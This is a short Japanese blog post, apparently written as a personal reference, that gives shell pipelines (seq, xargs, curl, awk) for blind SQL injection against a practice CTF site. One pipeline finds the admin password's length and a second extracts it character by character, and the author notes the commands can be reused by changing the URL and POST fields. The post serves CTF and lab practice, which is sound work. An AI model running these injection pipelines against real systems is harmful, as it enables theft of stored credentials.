ちょっと前に意図的に脆弱なシステムを作る機会があって、そこでブラインドSQLインジェクションを利用して値を取得させるように作った。 で、前に 常設のCTFで似たような内容をシェル芸で解いてた のでちゃちゃっと対応できるだろうと思ってたのだけど、結構前に書いてたコードだったのでテスト時にうまくできなかったので、次に手こずらないようそこだけ抜き出して書いてみる。(サンプルに必要なURLは前述のCTFのサイトを利用)
ブラインドSQLでは、まず最初に対象の文字数を調べる必要があるので、以下のようなコマンドを実行する。
seq 10 30 | # 調査する文字数の範囲を指定 \
xargs -I{} bash -c "
printf '%s ' {} # 調査対象の文字数を表示;
# -dでidフィールドにSQLインジェクションを指定(文字数が正しければtrueとなるように記述)
curl -s -X POST http://ctfq.sweetduet.info:10080/~q6/ \
-d \"id=admin' AND (SELECT LENGTH(pass) FROM user WHERE id = 'admin') = {} --\" \
-d \"pass=aaaa\" | \
wc -l" | # 出力結果のhtmlの行数を調査 \
sort -k2 | # 2列目(htmlの行数でソート) \
uniq -c -f1 | # htmlの行数でカウント \
awk '$1=="1"{print $2}' # htmlの行数のカウント結果が1の行だけ出力
これで文字数が取得できたら、その文字数だけ一文字ずつ総当たりのチェックを行う。(上記CTFでは文字数が21なので、forで指定した文字数は1~21にしている。)
for i in {1..21};
do
# 0-9,a-z,A-Zの文字を出力
echo {{0..9},{a..z},{A..Z},_} | \
fmt -1 | \
xargs -I{} bash -c "
printf '%s ' {} # 調査対象の文字を表示;
# -dでidフィールドにSQLインジェクション(指定した位置の文字が「{}」で指定した値の場合はTRUE)
curl -s -X POST http://ctfq.sweetduet.info:10080/~q6/ \
-d \"id=admin' AND SUBSTR((SELECT pass FROM user WHERE id = 'admin'),"$i",1) = '{}' --\" \
-d \"pass=aaaa\" | \
wc -l" | # 出力結果のhtmlの行数を出力 \
sort -k2 | # 2列目(htmlの行数でソート) \
uniq -c -f1 | # htmlの行数でカウント \
awk '$1=="1"{print $2}' ; # htmlの行数のカウント結果が1の行だけ出力
done | \
tr -d '\n';echo # 改行を削除して結合
これでシェル芸でブラインドSQLインジェクションの処理ができる。 再利用する場合は、環境に応じてcurlで指定しているURLやPOSTする内容を書き換えればいいはずだ。